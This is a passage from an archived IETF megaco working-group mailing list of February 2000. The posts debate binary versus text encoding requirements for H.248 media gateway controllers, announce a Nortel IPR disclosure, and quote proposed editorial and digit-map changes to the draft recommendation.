>interworked to Q.931.  If we really do Q.931, you need ASN.1)
>One encoding for both residential and trunk gateways would be
>preferable.

MG's already do ASN.1 for H.323, but that's beside the point. We've already
had enough debate about the two so there's no point in going into it again.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 12:16:40 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15798
	for ; Mon, 7 Feb 2000 12:16:39 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BABD0000@standards.nortelnetworks.com>; Mon, 7 Feb 2000 12:13:23 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29385 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 12:11:31 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.126FC8C0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 12:01:31
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id MAA11746; Mon, 7 Feb
          2000 12:03:42 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id MAA12253; Mon, 7 Feb
          2000 12:03:43 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCT4ARR>; Mon, 7 Feb 2000 12:00:23 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088BC@whq-msgusr-02.fore.com>
Date:         Mon, 7 Feb 2000 12:03:33 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: About Megaco Message Parser
X-To:         Matt Holdrege 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

> Please don't mix personal versus "official" comments. The MGC
> MUST do both
> binary and text per your agreement as captured by the meeting
> minutes and
> published so. An MG may do either.
I labeled my comments as "Personal".  The document says that
MGCs SHOULD implement binary, not MUST.  That is the agreement,
and it has been that way since binary was in.

>
> In the real world, some vendors of MG's will implement binary
> and some
> text. Some vendors will likely do both. Binary for carrier
> class platforms
> and text for SOHO. So it would behoove universal MGC's to
> support both.
That would be your opinion.  Mine would be that once we discover
that binary gets you nothing, binary will wither, even for
"carrier class" platforms.  Although an MGC may need the ASN.1
tools, an MG, even the biggest trunk gateway, won't (I can think
of one reason why they would - some of us think CAS should be
interworked to Q.931.  If we really do Q.931, you need ASN.1)
One encoding for both residential and trunk gateways would be
preferable.

I'll agree that until the market sorts this out, we are condemned to
"both" in most MGCs.

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 12:16:40 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15800
	for ; Mon, 7 Feb 2000 12:16:40 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BB1EA800@standards.nortelnetworks.com>; Mon, 7 Feb 2000 12:13:23 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29423 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 12:12:51 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.A7D78190@standards.nortelnetworks.com>; Mon, 7 Feb 2000
          12:12:51 -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 7 Feb 2000 11:14:56 -0600
Received: from zrtpd00y.us.nortel.com by zmers013; Mon, 7 Feb 2000 12:14:41
          -0500
Received: by zrtpd00y.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <13QAH8P7>; Mon, 7 Feb 2000 12:14:37 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF718E.CFD97836"
Message-ID:  <5F68FAE98163D21193750000F81AC9BE010FDE50@zrtpd00x.us.nortel.com>
Date:         Mon, 7 Feb 2000 12:14:29 -0500
Reply-To: David Cromwell 
Sender: "Media Gateway Control (megaco)"
              
From: David Cromwell 
Subject:      Nortel IPR Disclosure Statement Posted For draft-ietf-cromwell-ad
              vanced-audio-pkg-00.txt
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF718E.CFD97836
Content-Type: text/plain

I recently sent a patent/IPR disclosure statement regarding the MEGACO
Advanced Audio Package as per RFC2026 to Steve Coya, and it is now posted on
the Intellectual Property Rights Notices page of the IETF website.

David
--
cromwell@nortelnetworks.com                                          Nortel
Networks
ESN:            351-8870
35 Davis Dr
Public:    919-991-8870
RTP, NC 27709


------_=_NextPart_001_01BF718E.CFD97836
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






Nortel IPR Disclosure Statement Posted For =
draft-ietf-cromwell-advanced-audio-pkg-00.txt




I recently sent a patent/IPR =
disclosure statement regarding the MEGACO Advanced Audio Package as per =
RFC2026 to Steve Coya, and it is now posted on the Intellectual =
Property Rights Notices page of the IETF website.



 

David

--

cromwell@nortelnetworks.com     =
            =
            =
            =
 Nortel Networks     

ESN:         =
;   =
351-8870          &nbs=
p;           &nbs=
p;           &nbs=
p;           &nbs=
p;      35 Davis Dr

Public:    =
919-991-8870          =
            =
            =
            =
       RTP, NC 27709





------_=_NextPart_001_01BF718E.CFD97836--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 12:19:45 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15879
	for ; Mon, 7 Feb 2000 12:19:40 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.03CF3510@standards.nortelnetworks.com>; Mon, 7 Feb 2000 12:15:25 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29388 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 12:15:13 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.96891350@standards.nortelnetworks.com>; Mon, 7 Feb 2000
          12:05:13 -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 7 Feb 2000 11:02:44 -0600
Received: from zcard015.ca.nortel.com by zmers013; Mon, 7 Feb 2000 12:02:35
          -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D8XG8N7; Mon, 7 Feb 2000 12:02:34
          -0500
Received: from nortelnetworks.com (PMERY0H8 [47.190.16.137]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D90CN9R; Mon, 7 Feb 2000 12:02:34
          -0500
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4.2.2.20000207083701.00abdc20@porky>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389EFB1C.26CFF1E8@nortelnetworks.com>
Date:         Mon, 7 Feb 2000 12:04:28 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: About Megaco Message Parser
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Just a quick clarification... The spec says the MGC SHOULD provide support for
both not MUST.

As Brian suggests, time will tell on how this eventually goes.

Michael

Matt Holdrege wrote:

> At 09:29 AM 2/7/00 -0500, Rosen, Brian wrote:
> > > Do we need to do both binary and text encoding of the protocol.
> >No, you need text, binary is optional.  A PERSONAL opinion, sure to
> >be scorned by some, is that binary will never make it in this protocol.  The
> >really interesting thing is that, given one text and
> >one binary implementation, and some example messages, we can put
> >the size/efficiency argument to rest, as long as you don't care
> >about the last couple percent (for which we can endlessly argue
> >about implementation quality!)
>
> Please don't mix personal versus "official" comments. The MGC MUST do both
> binary and text per your agreement as captured by the meeting minutes and
> published so. An MG may do either.
>
> In the real world, some vendors of MG's will implement binary and some
> text. Some vendors will likely do both. Binary for carrier class platforms
> and text for SOHO. So it would behoove universal MGC's to support both.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 13:47:52 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18786
	for ; Mon, 7 Feb 2000 13:47:51 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.804916E0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 13:44:48 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29732 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 13:42:59 -0500
Received: from drawbridge.ascend.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.3EAEF600@standards.nortelnetworks.com>; Mon, 7 Feb 2000 13:42:58
          -0500
Received: from fw-ext.ascend.com (fw-ext [198.4.92.5]) by drawbridge.ascend.com
          (8.9.1a/8.9.1) with SMTP id KAA05619; Mon, 7 Feb 2000 10:39:05 -0800
          (PST)
Received: from russet.ascend.com by fw-ext.ascend.com via smtpd (for
          drawbridge.ascend.com [198.4.92.1]) with SMTP; 7 Feb 2000 18:45:17 UT
Received: from porky (porky.ascend.com [192.207.23.83]) by russet.ascend.com
          (8.9.1a/8.9.1) with ESMTP id KAA00581; Mon, 7 Feb 2000 10:45:17 -0800
          (PST)
Received: from ascend.com by ascend.com
X-Sender: mhold@porky
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000207104214.00afad60@porky>
Date:         Mon, 7 Feb 2000 10:43:51 -0800
Reply-To: Matt Holdrege 
Sender: "Media Gateway Control (megaco)"
              
From: Matt Holdrege 
Subject:      Re: About Megaco Message Parser
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF2088BD@whq-msgusr-02.fore. com>

H.245 being what we now call the Native descriptors used in binary encoding
of H.248. Whatever. In this case I guess it doesn't matter what the
document says.


At 01:38 PM 2/7/00 -0500, Rosen, Brian wrote:
>I did.  There is a statement about encoding of local and remote
>"The MGC must support both SDP and SG16-determined encoding of H.245. An MG
>may support either and this reserves the possibility of migration to a new
>syntax".  That's 245, not 248.  This meeting was
>the coin toss meeting (Oslo), and the result at that point was
>text only encoding, as the following paragraph indicates.
>
>The "should" agreement was reached in Red Bank as I recall, subsequent to
>Oslo.
>
>Brian
>
> > -----Original Message-----
> > From: Matt Holdrege [mailto:matt@ascend.com]
> > Sent: Monday, February 07, 2000 12:10 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: RE: About Megaco Message Parser
> >
> >
> > At 12:03 PM 2/7/00 -0500, Rosen, Brian wrote:
> >
> > > > Please don't mix personal versus "official" comments. The MGC
> > > > MUST do both
> > > > binary and text per your agreement as captured by the meeting
> > > > minutes and
> > > > published so. An MG may do either.
> > >I labeled my comments as "Personal".  The document says that
> > >MGCs SHOULD implement binary, not MUST.  That is the agreement,
> > >and it has been that way since binary was in.
> >
> > Wrong. Please go back and read the minutes at
> > http://www.ietf.org/proceedings/99jul/index.html
> >
> >
> > > >
> > > > In the real world, some vendors of MG's will implement binary
> > > > and some
> > > > text. Some vendors will likely do both. Binary for carrier
> > > > class platforms
> > > > and text for SOHO. So it would behoove universal MGC's to
> > > > support both.
> > >That would be your opinion.  Mine would be that once we discover
> > >that binary gets you nothing, binary will wither, even for
> > >"carrier class" platforms.  Although an MGC may need the ASN.1
> > >tools, an MG, even the biggest trunk gateway, won't (I can think
> > >of one reason why they would - some of us think CAS should be
> > >interworked to Q.931.  If we really do Q.931, you need ASN.1)
> > >One encoding for both residential and trunk gateways would be
> > >preferable.
> >
> > MG's already do ASN.1 for H.323, but that's beside the point.
> > We've already
> > had enough debate about the two so there's no point in going
> > into it again.
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 13:50:06 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18842
	for ; Mon, 7 Feb 2000 13:50:05 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C83FC9D0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 13:46:49 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29721 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 13:45:44 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.3BAC59D0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 13:35:44
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id NAA21548; Mon, 7 Feb
          2000 13:38:03 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id NAA05844; Mon, 7 Feb
          2000 13:38:04 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCT4CGZ>; Mon, 7 Feb 2000 13:34:44 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088BD@whq-msgusr-02.fore.com>
Date:         Mon, 7 Feb 2000 13:38:02 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: About Megaco Message Parser
X-To:         Matt Holdrege 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I did.  There is a statement about encoding of local and remote
"The MGC must support both SDP and SG16-determined encoding of H.245. An MG
may support either and this reserves the possibility of migration to a new
syntax".  That's 245, not 248.  This meeting was
the coin toss meeting (Oslo), and the result at that point was
text only encoding, as the following paragraph indicates.

The "should" agreement was reached in Red Bank as I recall, subsequent to
Oslo.

Brian

> -----Original Message-----
> From: Matt Holdrege [mailto:matt@ascend.com]
> Sent: Monday, February 07, 2000 12:10 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: RE: About Megaco Message Parser
>
>
> At 12:03 PM 2/7/00 -0500, Rosen, Brian wrote:
>
> > > Please don't mix personal versus "official" comments. The MGC
> > > MUST do both
> > > binary and text per your agreement as captured by the meeting
> > > minutes and
> > > published so. An MG may do either.
> >I labeled my comments as "Personal".  The document says that
> >MGCs SHOULD implement binary, not MUST.  That is the agreement,
> >and it has been that way since binary was in.
>
> Wrong. Please go back and read the minutes at
> http://www.ietf.org/proceedings/99jul/index.html
>
>
> > >
> > > In the real world, some vendors of MG's will implement binary
> > > and some
> > > text. Some vendors will likely do both. Binary for carrier
> > > class platforms
> > > and text for SOHO. So it would behoove universal MGC's to
> > > support both.
> >That would be your opinion.  Mine would be that once we discover
> >that binary gets you nothing, binary will wither, even for
> >"carrier class" platforms.  Although an MGC may need the ASN.1
> >tools, an MG, even the biggest trunk gateway, won't (I can think
> >of one reason why they would - some of us think CAS should be
> >interworked to Q.931.  If we really do Q.931, you need ASN.1)
> >One encoding for both residential and trunk gateways would be
> >preferable.
>
> MG's already do ASN.1 for H.323, but that's beside the point.
> We've already
> had enough debate about the two so there's no point in going
> into it again.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 14:01:46 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA19137
	for ; Mon, 7 Feb 2000 14:01:45 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.775BB5E0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 13:58:52 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29757 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 13:58:08 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.F6DEE870@standards.nortelnetworks.com>; Mon, 7 Feb 2000 13:48:07
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id NAA22812; Mon, 7 Feb
          2000 13:50:27 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id NAA08853; Mon, 7 Feb
          2000 13:50:28 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCT4C3J>; Mon, 7 Feb 2000 13:47:08 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088BE@whq-msgusr-02.fore.com>
Date:         Mon, 7 Feb 2000 13:50:21 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: About Megaco Message Parser
X-To:         Matt Holdrege 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Just to finish this thread for those who weren't there,
"Native", or Annex C, media descriptors were, at Oslo, MG-either,
MGC-both.  Subsequently, it was agreed to change it such that it
was Annex C for binary and SDP for text.  That simplified
everyone's implementation.  That is the way text reads now.

Brian

> -----Original Message-----
> From: Matt Holdrege [mailto:matt@ascend.com]
> Sent: Monday, February 07, 2000 1:44 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: RE: About Megaco Message Parser
>
>
> H.245 being what we now call the Native descriptors used in
> binary encoding
> of H.248. Whatever. In this case I guess it doesn't matter what the
> document says.
>
>
> At 01:38 PM 2/7/00 -0500, Rosen, Brian wrote:
> >I did.  There is a statement about encoding of local and remote
> >"The MGC must support both SDP and SG16-determined encoding
> of H.245. An MG
> >may support either and this reserves the possibility of
> migration to a new
> >syntax".  That's 245, not 248.  This meeting was
> >the coin toss meeting (Oslo), and the result at that point was
> >text only encoding, as the following paragraph indicates.
> >
> >The "should" agreement was reached in Red Bank as I recall,
> subsequent to
> >Oslo.
> >
> >Brian
> >
> > > -----Original Message-----
> > > From: Matt Holdrege [mailto:matt@ascend.com]
> > > Sent: Monday, February 07, 2000 12:10 PM
> > > To: Rosen, Brian
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: RE: About Megaco Message Parser
> > >
> > >
> > > At 12:03 PM 2/7/00 -0500, Rosen, Brian wrote:
> > >
> > > > > Please don't mix personal versus "official" comments. The MGC
> > > > > MUST do both
> > > > > binary and text per your agreement as captured by the meeting
> > > > > minutes and
> > > > > published so. An MG may do either.
> > > >I labeled my comments as "Personal".  The document says that
> > > >MGCs SHOULD implement binary, not MUST.  That is the agreement,
> > > >and it has been that way since binary was in.
> > >
> > > Wrong. Please go back and read the minutes at
> > > http://www.ietf.org/proceedings/99jul/index.html
> > >
> > >
> > > > >
> > > > > In the real world, some vendors of MG's will implement binary
> > > > > and some
> > > > > text. Some vendors will likely do both. Binary for carrier
> > > > > class platforms
> > > > > and text for SOHO. So it would behoove universal MGC's to
> > > > > support both.
> > > >That would be your opinion.  Mine would be that once we discover
> > > >that binary gets you nothing, binary will wither, even for
> > > >"carrier class" platforms.  Although an MGC may need the ASN.1
> > > >tools, an MG, even the biggest trunk gateway, won't (I can think
> > > >of one reason why they would - some of us think CAS should be
> > > >interworked to Q.931.  If we really do Q.931, you need ASN.1)
> > > >One encoding for both residential and trunk gateways would be
> > > >preferable.
> > >
> > > MG's already do ASN.1 for H.323, but that's beside the point.
> > > We've already
> > > had enough debate about the two so there's no point in going
> > > into it again.
> > >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 15:04:16 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA20452
	for ; Mon, 7 Feb 2000 15:04:15 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2C7CE810@standards.nortelnetworks.com>; Mon, 7 Feb 2000 15:01:12 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 29980 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 15:01:10 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.C55787E0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 14:51:10
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id OAA29250; Mon, 7 Feb
          2000 14:53:29 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id OAA24984; Mon, 7 Feb
          2000 14:53:25 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCT4DWB>; Mon, 7 Feb 2000 14:50:06 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088C1@whq-msgusr-02.fore.com>
Date:         Mon, 7 Feb 2000 14:53:17 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Updates Submitted To ITU Based On Issue Scorecard
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

A small nits:

In 7.1.17, should "SHALL" be "SHOULD"?  There might not be
a reason to do so, but why be so restrictive?  Also, the
second sentence added does not belong here, it belongs in the
package definition, if at all.

In 7.2.5, should "wildcarded" be "ALL"?

In 7.2.8, in additional wording about ServiceChangeAddress and
ServiceChangeMgcIdToTry, the word "must" should be "shall".

12.1.1 there was an unfinished discussion re "keywords in the
protocol for package names.  Did you just dismiss that discussion?

E.1.2 There is presently no "list" type for Signal Identity, there
is enumeration and sublist, or it could be a string.  Please also
note that "Descriptor Parameters" should be "ObservedEvents
Descriptor Parameters" here, and in the cause event above

Brian








> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> Sent: Monday, February 07, 2000 9:58 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Updates Submitted To ITU Based On Issue Scorecard
>
>
> What follows below is the document I submitted to Study Group
> 16 based on
> our past two weeks' discussion.  Please note in particular the
> clarifications to 7.1.14, digit maps.  I found that the
> introduction of
> long-duration tones required very careful spelling out of the
> processing of
> events against the digit map alternatives.
>
> All of these comments are against the v14 document.
>
> ITU - Telecommunication Standardization Sector  Temporary
> Document XX (WP
> 2/16)
> STUDY GROUP 16
>
> Geneva, 7-18 February 2000
>
> Question(s):      Q.14/16
>
> SOURCE*:        Rapporteur
>
> TITLE:  Additional Changes to draft recommendation H.248
>
> ___________________
> Introduction
> This document lists additional changes made to draft
> recommendation H.248
> after submitting the white document to ITU and the changes listed in
> Temporary Document 32 (WP2/16).  These changes are meant to
> be applied on
> top of the TD 32/2 changes.
> These detailed changes result from discussions with
> interested parties from
> SG 16 and from IETF megaco working group over the last few weeks.
>
> Proposed Changes
> ===========
> The section numbers in this contribution refer to section
> numbers in the
> revised draft recommendation (TD-XXX) as submitted to this meeting.
>
> Section 7.1.6
> ===========
> Action: replace the last sentence of the first paragraph of
> this section
> with new text:
> (start of changed text)
> A stream is deleted by setting empty Local and Remote
> descriptors for the
> stream with Reserve in LocalControl set to "false" on all
> terminations in
> the context which previously supported that stream.
> (end of changed text)
> Motivation: deletion of a protocol mechanism which
> clarifications in TD 32/2
> have rendered unnecessary.
>
> Section 7.1.7
> ===========
> Actions
> * remove "delete" as an allowed value for the Mode parameter
> in the first
> sentence of the second paragraph of the section
> * delete the final sentence of that paragraph
> (begin deleted text)
> Mode set to delete is used to remove a stream from a termination.
> (end of deleted text)
> Motivation: deletion of a protocol mechanism which
> clarifications in TD 32/2
> have rendered unnecessary.
>
> Section 7.1.11
> ===========
> Actions
> * replace  the last two sentences of the second paragraph:
> (begin replacement text)
> Finally, the optional parameter "notifyCompletion" allows the MGC to
> indicate that it wishes to be notified when this signal
> finishes playout.
> When the MGC enables the Signal Completion event (see section
> E.1.2) in an
> Event Descriptor, that event is detected whenever a signal
> terminates and
> "notifyCompletion" for that signal is set to TRUE.
> (end replacement text)
>
> * delete the final paragraph of the section.
> (begin deleted text)
> If the MGC requested notification of completion for a signal, a Notify
> command SHALL be sent by the MG upon completion of that
> signal.  A Notify
> triggered by completion of a signal SHALL NOT affect the state of the
> eventbuffer or any active events descriptor.
> (end deleted text)
>
> Motivation: replace a special purpose mechanism for
> notification of signal
> completion with the ordinary event mechanism.
>
> Section 7.1.13
> ===========
> Actions
> * change Profile to ServiceChangeProfile
> * change Version to ServiceChangeVersion
> * change MGCIdToTry to ServiceChangeMgcId
> Motivation: editorial.
>
> Section 7.1.14
> ===========
> Actions
> * replace item 3. in the numbered list in the third paragraph with the
> following text
> (begin replacement text)
> 3. If the digit string has matched one of the patterns in the
> digit map, but
> it is possible that more digits could be received which would
> cause a match
> with a different pattern, then instead of reporting the match
> immediately,
> the MG must apply the short timer (S) and wait for more digits.
> (end replacement text)
>
> * fifth paragraph, third  and fourth sentences, replace with
> the following
> text:
> (begin replacement text)
> Each string in the list is an alternative event sequence,
> specified either
> as a sequence of digit map symbols or as a regular expression
> of digit map
> symbols.  These digit map symbols, the digits "0" through "9"
> and letters
> "A" through a maximum value depending on the signalling
> system concerned,
> but never exceeding "K", correspond to specified events
> within a package
> which has been designated in the Events Descriptor on the
> termination to
> which the digit map is being applied.
> (end replacement text)
>
> * add a new sentence at the end of the fifth paragraph.
> (begin new text)
> Finally, the dot symbol "." stands for zero or more
> repetitions of the event
> selector (event, range of events, set of alternative events,
> or wildcard)
> which precedes it.  As a consequence of the third timing rule above,
> inter-event timing while matching the dot symbol uses the short timer.
> (end new text)
>
> * sixth paragraph, first sentence, delete "S" and the word "and" which
> follows it.
>
> * seventh paragraph, currently beginning "A MG that detects
> ...", replace
> paragraph including numbered list with the following text:
> (begin replacement text)
> A digit map is active while the event descriptor which
> invoked it is active
> and it has not completed.  A digit map completes when:
>    * a timer has expired, or
>    * an alternative event sequence has been matched and no
> other alternative
> event sequence in the digit map could be matched through
> detection of an
> additional event (unambiguous match), or
>    * an event has been detected such that a match to a
> complete alternative
> event sequence of the digit map will be impossible no matter
> what additional
> events are received.
> Upon completion, a digit map completion event as defined in
> the package
> providing the events being mapped into the digit map shall be
> generated.
> Pending completion, successive events shall be processed
> according to the
> following rules:
> 0. The "current dial string", an internal variable, is
> initially empty.  The
> set of candidate alternative event sequences includes all of the
> alternatives specified in the digit map.
> 1. At each step, a timer is set to wait for the next event.
> The rules for
> determining how long to wait are listed above.  If the timer
> expires and a
> member of the candidate set of alternatives is fully
> satisfied, a timeout
> completion with full match is reported.  If the timer expires
> and part or
> none of any candidate alternative is satisfied, a timeout
> completion with
> partial match is reported.
> 2. If an event is detected before the timer expires, it is
> mapped to a digit
> string symbol and added to the end of the current dial
> string.  The duration
> of the event (long or not long) is noted if and only if this
> is relevant in
> the current symbol position (because at least one of the candidate
> alternative event sequences includes the "L" modifier at this
> position in
> the sequence).
> 3. The current dial string is compared to the candidate
> alternative event
> sequences, and any of these which do not match are discarded from the
> candidate set.  If a sequence expecting a long-duration event at this
> position is matched (i.e. the event had long duration and met the
> specification for this position), then any alternative event
> sequences not
> specifying a long duration event at this position are
> discarded, and the
> current dial string is modified by inserting an "L" in front
> of the symbol
